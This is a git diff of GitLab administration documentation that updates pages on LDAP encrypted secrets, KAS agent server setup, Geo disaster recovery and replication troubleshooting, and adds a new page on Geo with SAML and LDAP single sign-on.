+Use a Kubernetes secret to store the LDAP password. For more information,
+read about [Helm LDAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#ldap-password).
-If initially your LDAP configuration looked like:
+:::TabTitle Docker
-1. In `config/gitlab.yaml`:
+1. If initially your LDAP configuration in `docker-compose.yml` looked like:
+
+ ```yaml
+ version: "3.6"
+ services:
+ gitlab:
+ image: 'gitlab/gitlab-ee:latest'
+ restart: always
+ hostname: 'gitlab.example.com'
+ environment:
+ GITLAB_OMNIBUS_CONFIG: |
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ 'bind_dn' => 'admin',
+ 'password' => '123'
+ }
+ }
+ ```
+
+1. Get inside the container, and edit the encrypted secret:
+
+ ```shell
+ sudo docker exec -t <container_name> bash
+ gitlab-rake gitlab:ldap:secret:edit EDITOR=vim
+ ```
+
+1. Enter the unencrypted contents of the LDAP secret:
+
+ ```yaml
+ main:
+ bind_dn: admin
+ password: '123'
+ ```
+
+1. Edit `docker-compose.yml` and remove the settings for `bind_dn` and `password`.
+1. Save the file and restart GitLab:
+
+ ```shell
+ docker compose up -d
+ ```
+
+:::TabTitle Self-compiled (source)
+
+1. If initially your LDAP configuration in `/home/git/gitlab/config/gitlab.yml` looked like:
```yaml
production:
ldap:
servers:
main:
- # snip...
bind_dn: admin
password: '123'
```
@@ -534,7 +942,7 @@ If initially your LDAP configuration looked like:
bundle exec rake gitlab:ldap:secret:edit EDITOR=vim RAILS_ENVIRONMENT=production
```
-1. The unencrypted contents of the LDAP secret should be entered like:
+1. Enter the unencrypted contents of the LDAP secret:
```yaml
main:
@@ -542,9 +950,16 @@ If initially your LDAP configuration looked like:
password: '123'
```
-1. Edit `config/gitlab.yaml` and remove the settings for `bind_dn` and `password`.
+1. Edit `/home/git/gitlab/config/gitlab.yml` and remove the settings for `bind_dn` and `password`.
+1. Save the file and restart GitLab:
+
+ ```shell
+ # For systems running systemd
+ sudo systemctl restart gitlab.target
-1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
+ # For systems running SysV init
+ sudo service gitlab restart
+ ```
::EndTabs
diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md
index 21ec4b293d4..95064b296af 100644
--- a/doc/administration/auth/ldap/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap/ldap-troubleshooting.md
@@ -373,7 +373,7 @@ things to debug the situation.
1. Search for the user.
1. Open the user by selecting their name. Do not select **Edit**.
1. Select the **Identities** tab. There should be an LDAP identity with
- an LDAP DN as the 'Identifier'. If not, this user hasn't signed in with
+ an LDAP DN as the `Identifier`. If not, this user hasn't signed in with
LDAP yet and must do so first.
- You've waited an hour or [the configured interval](ldap_synchronization.md#adjust-ldap-group-sync-schedule) for
the group to sync. To speed up the process, either go to the GitLab group **Group information > Members**
@@ -523,8 +523,8 @@ LDAP group lookups. The very last occurrence of this entry should indicate
exactly which users GitLab believes should be added to the group.
NOTE:
-10 is 'Guest', 20 is 'Reporter', 30 is 'Developer', 40 is 'Maintainer'
-and 50 is 'Owner'.
+10 is `Guest`, 20 is `Reporter`, 30 is `Developer`, 40 is `Maintainer`
+and 50 is `Owner`.
```shell
Resolved 'my_group' group member access: {"uid=john0,ou=people,dc=example,dc=com"=>30,
diff --git a/doc/administration/auth/ldap/ldap_synchronization.md b/doc/administration/auth/ldap/ldap_synchronization.md
index 5c8c7f7baf1..cc300941470 100644
--- a/doc/administration/auth/ldap/ldap_synchronization.md
+++ b/doc/administration/auth/ldap/ldap_synchronization.md
@@ -366,7 +366,7 @@ group, GitLab revokes their `admin` role when syncing.
### Global group memberships lock
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1793) in GitLab 12.0.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4354) in GitLab 12.0.
GitLab administrators can prevent group members from inviting new members to subgroups that have their membership synchronized with LDAP.
diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md
index 79dd69183a6..9f0f7e836f7 100644
--- a/doc/administration/clusters/kas.md
+++ b/doc/administration/clusters/kas.md
@@ -24,8 +24,6 @@ As a GitLab administrator, you can install the agent server:
- For [Omnibus installations](#for-omnibus).
- For [GitLab Helm Chart installations](#for-gitlab-helm-chart).
-Or, you can [use an external agent server](#use-an-external-installation).
-
### For Omnibus
You can enable the agent server for [Omnibus](https://docs.gitlab.com/omnibus/) package installations on a single node, or on multiple nodes at once.
@@ -60,6 +58,11 @@ To enable the agent server on multiple nodes:
'SSL_CERT_DIR' => "/opt/gitlab/embedded/ssl/certs/",
'OWN_PRIVATE_API_URL' => 'grpc://<ip_or_hostname_of_this_host>:8155'
}
+
+ gitlab_rails['gitlab_kas_enabled'] = true
+ gitlab_rails['gitlab_kas_external_url'] = 'wss://gitlab.example.com/-/kubernetes-agent/'
+ gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com'
+ gitlab_rails['gitlab_kas_external_k8s_proxy_url'] = 'https://gitlab.example.com/-/kubernetes-agent/'
```
In this configuration:
@@ -68,8 +71,10 @@ To enable the agent server on multiple nodes:
- `OWN_PRIVATE_API_URL` is the environment variable used by the KAS process for service discovery. You can set it to a hostname or IP address of the node you're configuring. The node must be reachable by other nodes in the cluster.
- `gitlab_kas['api_secret_key']` is the shared secret used for authentication between KAS and GitLab. This value must be Base64-encoded and exactly 32 bytes long.
- `gitlab_kas['private_api_secret_key']` is the shared secret used for authentication between different KAS instances. This value must be Base64-encoded and exactly 32 bytes long.
+ - `gitlab_rails['gitlab_kas_external_url']` is the user-facing URL for the in-cluster `agentk`.
+ - `gitlab_rails['gitlab_kas_internal_url']` is the internal URL the GitLab backend uses to communicate with KAS.
+ - `gitlab_rails['gitlab_kas_external_k8s_proxy_url']` is the user-facing URL for Kubernetes API proxying.
-1. For each application node, follow the steps in [Use an external installation](../clusters/kas.md#use-an-external-installation). If the agent server is enabled on the application node, do not include `gitlab_kas['enable'] = false` in the configuration for that node.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
### For GitLab Helm Chart
@@ -100,30 +105,6 @@ For GitLab [Helm Chart](https://docs.gitlab.com/charts/) installations:
For details, see [how to use the GitLab-KAS chart](https://docs.gitlab.com/charts/charts/gitlab/kas/).
-### Use an external installation
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299850) in GitLab 13.10.
-
-Instead of installing the agent server, you can configure GitLab to use an external agent server.
-
-If you used the GitLab Helm Chart to install GitLab, see
-[how to configure your external agent server](https://docs.gitlab.com/charts/charts/globals.html#external-kas).
-
-If you used the Omnibus packages:
-
-1. Edit `/etc/gitlab/gitlab.rb` and add the paths to your external agent server:
-
- ```ruby
- gitlab_kas['enable'] = false
- gitlab_kas['api_secret_key'] = 'Your shared secret between GitLab and KAS'
-
- gitlab_rails['gitlab_kas_enabled'] = true
- gitlab_rails['gitlab_kas_external_url'] = 'wss://kas.gitlab.example.com' # User-facing URL for the in-cluster agentk
- gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' # Internal URL for the GitLab backend
- ```
-
-1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-
## Troubleshooting
If you have issues while using the agent server for Kubernetes, view the
diff --git a/doc/administration/docs_self_host.md b/doc/administration/docs_self_host.md
index 9021a795523..f049dafea76 100644
--- a/doc/administration/docs_self_host.md
+++ b/doc/administration/docs_self_host.md
@@ -91,7 +91,7 @@ Prerequisite:
To host the product documentation site with GitLab Pages:
-1. [Create a blank project](../user/project/working_with_projects.md#create-a-blank-project).
+1. [Create a blank project](../user/project/index.md#create-a-blank-project).
1. Create a new or edit your existing `.gitlab-ci.yml` file, and add the following
`pages` job, while ensuring the version is the same as your GitLab installation:
diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md
index dda2c5d34d3..fe05b52cec9 100644
--- a/doc/administration/geo/disaster_recovery/bring_primary_back.md
+++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md
@@ -26,6 +26,16 @@ Alternatively, you can [set up a new **secondary** GitLab instance](../setup/ind
To bring the former **primary** site up to date:
1. SSH into the former **primary** site that has fallen behind.
+1. Remove `/etc/gitlab/gitlab-cluster.json` if it exists.
+
+ If the site to be re-added as a **secondary** site was promoted with the `gitlab-ctl geo promote` command, then it may contain a `/etc/gitlab/gitlab-cluster.json` file. For example during `gitlab-ctl reconfigure`, you may notice output like:
+
+ ```plaintext
+ The 'geo_primary_role' is defined in /etc/gitlab/gitlab-cluster.json as 'true' and overrides the setting in the /etc/gitlab/gitlab.rb
+ ```
+
+ If so, then `/etc/gitlab/gitlab-cluster.json` must be deleted from every Sidekiq, PostgreSQL, Gitaly, and Rails node in the site, to make `/etc/gitlab/gitlab.rb` the single source of truth again.
+
1. Make sure all the services are up:
```shell
diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md
index a78350d9dba..b6703e8a5fb 100644
--- a/doc/administration/geo/disaster_recovery/index.md
+++ b/doc/administration/geo/disaster_recovery/index.md
@@ -460,9 +460,9 @@ required:
### Step 4. (Optional) Updating the primary domain DNS record
-Updating the DNS records for the primary domain to point to the **secondary** site
-to prevent the need to update all references to the primary domain to the
-secondary domain, like changing Git remotes and API URLs.
+Update DNS records for the primary domain to point to the **secondary** site.
+This removes the need to update all references to the primary domain, for example
+changing Git remotes and API URLs.
1. SSH into the **secondary** site and login as root:
@@ -479,6 +479,21 @@ secondary domain, like changing Git remotes and API URLs.
external_url 'https://<new_external_url>'
```
+ If you provide GitLab with its certificate
+ [manually](https://docs.gitlab.com/omnibus/settings/ssl/index.html#configure-https-manually),
+ ensure:
+
+ - The new URL is one of the subject alternative names:
+
+ ```shell
+ /opt/gitlab/embedded/bin/openssl x509 -noout -dates -subject -issuer \
+ -nameopt multiline -ext subjectAltName -in /etc/gitlab/ssl/new-gitlab.new-example.com.crt
+ ```
+
+ - The certificate and key filenames match the new `external_url`,
+ or those filenames are
+ [specified in `/etc/gitlab/gitlab.rb`](https://docs.gitlab.com/omnibus/settings/ssl/index.html#change-the-default-ssl-certificate-location).
+
NOTE:
Changing `external_url` does not prevent access via the old secondary URL, as
long as the secondary DNS records are still intact.
diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md
index 68fd0c63e37..8728ab57bba 100644
--- a/doc/administration/geo/index.md
+++ b/doc/administration/geo/index.md
@@ -124,7 +124,9 @@ The following are required to run Geo:
- Git 2.9 or later
- Git-lfs 2.4.2 or later on the user side when using LFS
- All sites must run [the same GitLab and PostgreSQL versions](setup/database.md#postgresql-replication).
-- If using different operating system versions between Geo sites, [check OS locale data compatibility](replication/troubleshooting.md#check-os-locale-data-compatibility) across Geo sites.
+ - If using different operating system versions between Geo sites,
+ [check OS locale data compatibility](replication/troubleshooting.md#check-os-locale-data-compatibility)
+ across Geo sites to avoid silent corruption of database indexes.
Additionally, check the GitLab [minimum requirements](../../install/requirements.md),
and use the latest version of GitLab for a better experience.
@@ -163,15 +165,6 @@ To update the internal URL of the primary Geo site:
1. Select **Edit** on the primary site.
1. Change the **Internal URL**, then select **Save changes**.
-### LDAP
-
-We recommend that if you use LDAP on your **primary** site, you also set up secondary LDAP servers on each **secondary** site. Otherwise, users are unable to perform Git operations over HTTP(s) on the **secondary** site using HTTP Basic Authentication. However, Git via SSH and personal access tokens still works.
-
-NOTE:
-It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site.
-
-Check for instructions on how to set up replication in your LDAP service. Instructions are different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html).
-
### Geo Tracking Database
The tracking database instance is used as metadata to control what needs to be updated on the disk of the local instance. For example:
@@ -224,6 +217,8 @@ An [epic exists](https://gitlab.com/groups/gitlab-org/-/epics/4623) to fix this
The only way to view designs replication data for a particular secondary site is to visit that secondary site directly. For example, `https://<IP of your secondary site>/admin/geo/replication/designs`.
An [epic exists](https://gitlab.com/groups/gitlab-org/-/epics/4624) to fix this limitation.
+Keep in mind that mentioned URLs don't work when [Admin Mode](../../user/admin_area/settings/sign_in_restrictions.md#admin-mode) is enabled.
+
## Setup instructions
For setup instructions, see [Setting up Geo](setup/index.md).
@@ -292,6 +287,14 @@ For more information on how to replicate the Container Registry, see [Container
For more information on using Geo proxying on secondary sites, see [Geo proxying for secondary sites](secondary_proxy/index.md).
+### Single Sign On (SSO)
+
+For more information on configuring Single Sign-On (SSO), see [Geo with Single Sign-On (SSO)](replication/single_sign_on.md).
+
+#### LDAP
+
+For more information on configuring LDAP, see [Geo with Single Sign-On (SSO) > LDAP](replication/single_sign_on.md#ldap).
+
### Security Review
For more information on Geo security, see [Geo security review](replication/security_review.md).
diff --git a/doc/administration/geo/replication/configuration.md b/doc/administration/geo/replication/configuration.md
index d625b2a0324..79a3f65377b 100644
--- a/doc/administration/geo/replication/configuration.md
+++ b/doc/administration/geo/replication/configuration.md
@@ -104,7 +104,7 @@ keys must be manually replicated to the **secondary** site.
1. Make a backup of any existing SSH host keys:
```shell
- find /etc/ssh -iname ssh_host_* -exec cp {} {}.backup.`date +%F` \;
+ find /etc/ssh -iname 'ssh_host_*' -exec cp {} {}.backup.`date +%F` \;
```
1. Copy OpenSSH host keys from the **primary** site:
diff --git a/doc/administration/geo/replication/datatypes.md b/doc/administration/geo/replication/datatypes.md
index 52cd64b8f33..26acab510cf 100644
--- a/doc/administration/geo/replication/datatypes.md
+++ b/doc/administration/geo/replication/datatypes.md
@@ -64,7 +64,7 @@ verification methods:
| Blobs | Alert Metric Images _(file system)_ | Geo with API | SHA256 checksum |
| Blobs | Alert Metric Images _(object storage)_ | Geo with API/Managed (*2*) | _Not implemented_ |
| Blobs | Dependency Proxy Images_(file system)_ | Geo with API | SHA256 checksum |
-| Blobs | Dependency Proxy Images _(object_storage)_ | Geo with API/managed (*2*) | _Not implemented_ |
+| Blobs | Dependency Proxy Images _(object storage)_ | Geo with API/managed (*2*) | _Not implemented_ |
- (*1*): Redis replication can be used as part of HA with Redis sentinel. It's not used between Geo sites.
- (*2*): Object storage replication can be performed by Geo or by your object storage provider/appliance
diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md
index 460de5f3232..4a3f9c86041 100644
--- a/doc/administration/geo/replication/location_aware_git_url.md
+++ b/doc/administration/geo/replication/location_aware_git_url.md
@@ -57,7 +57,7 @@ routing configurations.
![Traffic policies](img/single_git_traffic_policies.png)
-1. Select the **Create traffic policy** button.
+1. Select **Create traffic policy**.
![Name policy](img/single_git_name_policy.png)
diff --git a/doc/administration/geo/replication/remove_geo_site.md b/doc/administration/geo/replication/remove_geo_site.md
index 4b9f31dc08c..9d92652daf4 100644
--- a/doc/administration/geo/replication/remove_geo_site.md
+++ b/doc/administration/geo/replication/remove_geo_site.md
@@ -11,7 +11,7 @@ type: howto
1. On the top bar, select **Main menu > Admin**.
1. On the left sidebar, select **Geo > Nodes**.
-1. Select the **Remove** button for the **secondary** site you want to remove.
+1. For the **secondary** site you want to remove, select **Remove**.
1. Confirm by selecting **Remove** when the prompt appears.
After the **secondary** site is removed from the Geo administration page, you must
@@ -25,6 +25,9 @@ stop and uninstall this site. For each node on your secondary Geo site:
1. Uninstall GitLab:
+ NOTE:
+ If GitLab data has to be cleaned from the instance as well, see how to [uninstall the Linux package and all its data](https://docs.gitlab.com/omnibus/installation/#uninstall-the-linux-package-omnibus).
+
```shell
# Stop gitlab and remove its supervision process
sudo gitlab-ctl uninstall
diff --git a/doc/administration/geo/replication/single_sign_on.md b/doc/administration/geo/replication/single_sign_on.md
new file mode 100644
index 00000000000..fc2f23552db
--- /dev/null
+++ b/doc/administration/geo/replication/single_sign_on.md
@@ -0,0 +1,122 @@
+---
+stage: Systems
+group: Geo
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+type: howto
+---
+
+# Geo with Single Sign On (SSO) **(PREMIUM SELF)**
+
+This documentation only discusses Geo-specific SSO considerations and configuration. For more information on general authentication, see [GitLab authentication and authorization](../../auth/index.md).
+
+## Configuring instance-wide SAML
+
+### Prerequisites
+
+[Instance-wide SAML](../../../integration/saml.md) must be working on your primary Geo site.
+
+You only configure SAML on the primary site. Configuring `gitlab_rails['omniauth_providers']` in `gitlab.rb` in a secondary site has no effect.
+
+### Determine the type of URL your secondary site uses
+
+How you configure instance-wide SAML differs depending on your secondary site configuration. Determine if your secondary site uses a:
+
+- [Unified URL](../secondary_proxy/index.md#set-up-a-unified-url-for-geo-sites), meaning the `external_url` exactly matches the `external_url` of the primary site.
+- [Separate URL](../secondary_proxy/index.md#geo-proxying-with-separate-urls) with proxying enabled. Proxying is enabled by default in GitLab 15.1 and later.
+- [Separate URL](../secondary_proxy/index.md#geo-proxying-with-separate-urls) with proxying disabled.
+
+### SAML with Unified URL
+
+If you have configured SAML on the primary site correctly, then it should work on the secondary site without additional configuration.
+
+### SAML with separate URL with proxying enabled
+
+If a secondary site uses a different `external_url` to the primary site, then configure your SAML Identity Provider (IdP) to allow the secondary site's SAML callback URL. For example, to configure Okta:
+
+1. [Sign in to Okta](https://www.okta.com/login/).
+1. Go to **Okta Admin Dashboard** > **Applications** > **Your App Name** > **General**.
+1. In **SAML Settings**, select **Edit**.
+1. In **General Settings**, select **Next** to go to **SAML Settings**.
+1. In **SAML Settings > General**, make sure the **Single sign-on URL** is your primary site's SAML callback URL. For example, `https://gitlab-primary.example.com/users/auth/saml/callback`. If it is not, enter your primary site's SAML callback URL into this field.
+1. Select **Show Advanced Settings**.
+1. In **Other Requestable SSO URLs**, enter your secondary site's SAML callback URL. For example, `https://gitlab-secondary.example.com/users/auth/saml/callback`. You can set **Index** to anything.
+1. Select **Next** and then **Finish**.
+
+You must not specify `assertion_consumer_service_url` in the SAML provider configuration in `gitlab_rails['omniauth_providers']` in `gitlab.rb` of the primary site. For example:
+
+```ruby
+gitlab_rails['omniauth_providers'] = [
+ {
+ name: "saml",
+ label: "Okta", # optional label for login button, defaults to "Saml"
+ args: {
+ idp_cert_fingerprint: "B5:AD:AA:9E:3C:05:68:AD:3B:78:ED:31:99:96:96:43:9E:6D:79:96",
+ idp_sso_target_url: "https://<dev-account>.okta.com/app/dev-account_gitlabprimary_1/exk7k2gft2VFpVFXa5d1/sso/saml",
+ issuer: "https://<gitlab-primary>",
+ name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
+ }
+ }
+]
+```
+
+This configuration causes:
+
+- Both your sites to use `/users/auth/saml/callback` as their assertion consumer service (ACS) URL.
+- The URL's host to be set to the corresponding site's host.
+
+You can check this by visiting each site's `/users/auth/saml/metadata` path. For example, visiting `https://gitlab-primary.example.com/users/auth/saml/metadata` may respond with:
+
+```xml
+<md:EntityDescriptor ID="_b9e00d84-d34e-4e3d-95de-122e3c361617" entityID="https://gitlab-primary.example.com"
+ xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
+ xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
+ <md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
+ <md:NameIDFormat>urn:oasis:names:tc:SAML:2.0:nameid-format:persistent</md:NameIDFormat>
+ <md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://gitlab-primary.example.com/users/auth/saml/callback" index="0" isDefault="true"/>
+ <md:AttributeConsumingService index="1" isDefault="true">
+ <md:ServiceName xml:lang="en">Required attributes</md:ServiceName>
+ <md:RequestedAttribute FriendlyName="Email address" Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ <md:RequestedAttribute FriendlyName="Full name" Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ <md:RequestedAttribute FriendlyName="Given name" Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ <md:RequestedAttribute FriendlyName="Family name" Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ </md:AttributeConsumingService>
+ </md:SPSSODescriptor>
+</md:EntityDescriptor>
+```
+
+Visiting `https://gitlab-secondary.example.com/users/auth/saml/metadata` may respond with:
+
+```xml
+<md:EntityDescriptor ID="_bf71eb57-7490-4024-bfe2-54cec716d4bf" entityID="https://gitlab-primary.example.com"
+ xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
+ xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
+ <md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
+ <md:NameIDFormat>urn:oasis:names:tc:SAML:2.0:nameid-format:persistent</md:NameIDFormat>
+ <md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://gitlab-secondary.example.com/users/auth/saml/callback" index="0" isDefault="true"/>
+ <md:AttributeConsumingService index="1" isDefault="true">
+ <md:ServiceName xml:lang="en">Required attributes</md:ServiceName>
+ <md:RequestedAttribute FriendlyName="Email address" Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ <md:RequestedAttribute FriendlyName="Full name" Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ <md:RequestedAttribute FriendlyName="Given name" Name="first_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ <md:RequestedAttribute FriendlyName="Family name" Name="last_name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" isRequired="false"/>
+ </md:AttributeConsumingService>
+ </md:SPSSODescriptor>
+</md:EntityDescriptor>
+```
+
+The `Location` attribute of the `md:AssertionConsumerService` field points to `gitlab-secondary.example.com`.
+
+After configuring your SAML IdP to allow the secondary site's SAML callback URL, you should be able to sign in with SAML on your primary site as well as your secondary site.
+
+### SAML with separate URL with proxying disabled
+
+If you have configured SAML on the primary site correctly, then it should work on the secondary site without additional configuration.
+
+## LDAP
+
+If you use LDAP on your **primary** site, you should also set up secondary LDAP servers on each **secondary** site. Otherwise, users cannot perform Git operations over HTTP(s) on the **secondary** site using HTTP basic authentication. However, users can still use Git with SSH and personal access tokens.
+
+NOTE:
+It is possible for all **secondary** sites to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server is available in a [disaster recovery](../disaster_recovery/index.md) scenario if a **secondary** site is promoted to be a **primary** site.
+
+Check your LDAP service documentation for instructions on how to set up replication in your LDAP service. The process differs depending on the software or service used. For example, OpenLDAP provides this [replication documentation](https://www.openldap.org/doc/admin24/replication.html).
diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md
index 1dcced781ce..2f2759d7339 100644
--- a/doc/administration/geo/replication/troubleshooting.md
+++ b/doc/administration/geo/replication/troubleshooting.md
@@ -1100,6 +1100,10 @@ On the **primary** site:
1. Ensure the **URL** field matches the value found in `/etc/gitlab/gitlab.rb`
in `external_url "https://gitlab.example.com"` on the **Rails nodes of the secondary** site.
+### Authenticating with SAML on the secondary site always lands on the primary site
+
+This [problem is usually encountered when upgrading to GitLab 15.1](version_specific_upgrades.md#upgrading-to-151). To fix this problem, see [configuring instance-wide SAML in Geo with Single Sign-On](single_sign_on.md#configuring-instance-wide-saml).
+
## Fixing common errors
This section documents common error messages reported in the Admin Area on the web interface, and how to fix them.
@@ -1313,6 +1317,18 @@ registry = Geo::PackageFileRegistry.find(registry_id)
registry.replicator.send(:download)
```
+#### Find registry records of blobs that failed to sync
+
+```ruby
+Geo::PackageFileRegistry.failed
+```
+
+#### Find registry records of blobs that are missing on the primary site
+
+```ruby
+Geo::PackageFileRegistry.where(last_sync_failure: 'The file is missing on the Geo primary site')
+```
+
#### Verify package files on the secondary manually
This iterates over all package files on the secondary, looking at the
@@ -1340,7 +1356,7 @@ status.keys.each {|key| puts "#{key} count: #{status[key].count}"}
status
```
-### Reverify all uploads (or any SSF data type which is verified)
+#### Reverify all uploads (or any SSF data type which is verified)
1. SSH into a GitLab Rails node in the primary Geo site.
1. Open [Rails console](../../../administration/operations/rails_console.md#starting-a-rails-console-session).
@@ -1396,21 +1412,6 @@ registry = Geo::SnippetRepositoryRegistry.find(registry_id)
registry.replicator.send(:sync_repository)
```
-### Find failed artifacts
-
-[Start a Rails console session](../../../administration/operations/rails_console.md#starting-a-rails-console-session)
-to run the following commands:
-
-```ruby
-Geo::JobArtifactRegistry.failed
-```
-
-#### Find `ID` of synced artifacts that are missing on primary
-
-```ruby
-Geo::JobArtifactRegistry.synced.missing_on_primary.pluck(:artifact_id)
-```
-
### Project or project wiki repositories
#### Find repository verification failures
@@ -1535,9 +1536,12 @@ If the above steps are **not successful**, proceed through the next steps:
## Check OS locale data compatibility
-If different operating systems or different operating system versions are deployed across Geo sites, we recommend that you perform a locale data compatibility check setting up Geo.
+If different operating systems or different operating system versions are deployed across Geo sites, you should perform a locale data compatibility check before setting up Geo.
-Geo uses PostgreSQL and Streaming Replication to replicate data across Geo sites. PostgreSQL uses locale data provided by the operating system’s C library for sorting text. If the locale data in the C library is incompatible across Geo sites, erroneous query results that lead to [incorrect behavior on secondary sites](https://gitlab.com/gitlab-org/gitlab/-/issues/360723). See [here](https://wiki.postgresql.org/wiki/Locale_data_changes) for more details.
+Geo uses PostgreSQL and Streaming Replication to replicate data across Geo sites. PostgreSQL uses locale data provided by the operating system's C library for sorting text. If the locale data in the C library is incompatible across Geo sites, erroneous query results that lead to [incorrect behavior on secondary sites](https://gitlab.com/gitlab-org/gitlab/-/issues/360723).
+
+For example, Ubuntu 18.04 (and earlier) and RHEL/Centos7 (and earlier) are incompatible with their later releases.
+See the [PostgreSQL wiki for more details](https://wiki.postgresql.org/wiki/Locale_data_changes).
On all hosts running PostgreSQL, across all Geo sites, run the following shell command:
@@ -1561,4 +1565,8 @@ or the reverse order:
If the output is identical on all hosts, then they running compatible versions of locale data.
-If the output differs on some hosts, then PostgreSQL replication will not work properly. We advise that you select operating system versions that are compatible.
+If the output differs on some hosts, PostgreSQL replication does not work properly: indexes are corrupted on the database replicas. You should select operating system versions that are compatible.
+
+A full index rebuild is required if the on-disk data is transferred 'at rest' to an operating system with an incompatible locale, or through replication.
+
+This check is also required when using a mixture of GitLab deployments. The locale might be different between an Linux package install, a GitLab Docker container, a Helm chart deployment, or external database services.
diff --git a/doc/administration/geo/replication/version_specific_upgrades.md b/doc/administration/geo/replication/version_specific_upgrades.md
index d981656f748..aa8e5d77f67 100644
--- a/doc/administration/geo/replication/version_specific_upgrades.md
+++ b/doc/administration/geo/replication/version_specific_upgrades.md
@@ -6,6 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Version-specific upgrade instructions **(PREMIUM SELF)**
+NOTE:
+We're in the process of merging all the version-specific upgrade information
+into a single page. See [epic 9581](https://gitlab.com/groups/gitlab-org/-/epics/9581)
+for more information. For the time being, visit the
+[general upgrade page](../../../update/index.md)
+for the newest Geo version-specific upgrade instructions.
+
Review this page for upgrade instructions for your version. These steps
accompany the [general steps](upgrading_the_geo_sites.md#general-upgrade-steps)
for upgrading Geo sites.
@@ -14,7 +21,7 @@ for upgrading Geo sites.
[Geo proxying](../secondary_proxy/index.md) was [enabled by default for different URLs](https://gitlab.com/gitlab-org/gitlab/-/issues/346112) in 15.1. This may be a breaking change. If needed, you may [disable Geo proxying](../secondary_proxy/index.md#disable-geo-proxying).
-If you are using SAML with different URLs, there is a [known issue which requires proxying to be disabled](https://gitlab.com/gitlab-org/gitlab/-/issues/377372).
+If you are using SAML with different URLs, you must modify your SAML configuration and your Identity Provider configuration. For more information, see the [Geo with Single Sign-On (SSO) documentation](single_sign_on.md).
## Upgrading to 14.9
diff --git a/doc/administration/get_started.md b/doc/administration/get_started.md
index 4099ddc16f8..2b9b5291c54 100644
--- a/doc/administration/get_started.md
+++ b/doc/administration/get_started.md
@@ -36,7 +36,7 @@ Watch an overview of [groups and projects](https://www.youtube.com/watch?v=cqb2m
Get started:
-- Create a [project](../user/project/working_with_projects.md#create-a-project).
+- Create a [project](../user/project/index.md#create-a-project).
- Create a [group](../user/group/manage.md#create-a-group).
- [Add members](../user/group/manage.md#add-users-to-a-group) to the group.
- Create a [subgroup](../user/group/subgroups/index.md#create-a-subgroup).
@@ -55,7 +55,7 @@ Get started:
You may need to import projects from external sources like GitHub, Bitbucket, or another instance of GitLab. Many external sources can be imported into GitLab.
-- Review the [GitLab projects documentation](../user/project/index.md#project-integrations).
+- Review the [GitLab projects documentation](../user/project/index.md).
- Consider [repository mirroring](../user/project/repository/mirror/index.md)—an [alternative to project migrations](../ci/ci_cd_for_external_repos/index.md).
- Check out our [migration index](../user/project/import/index.md) for documentation on common migration paths.
- Schedule your project exports with our [import/export API](../api/project_import_export.md#schedule-an-export).
diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md
index 32b44552b1a..b2b6962a222 100644
--- a/doc/administration/gitaly/index.md
+++ b/doc/administration/gitaly/index.md
@@ -570,9 +570,9 @@ To migrate to Gitaly Cluster:
[repository storage recommendations](praefect.md#repository-storage-recommendations).
1. Create and configure [Gitaly Cluster](praefect.md).
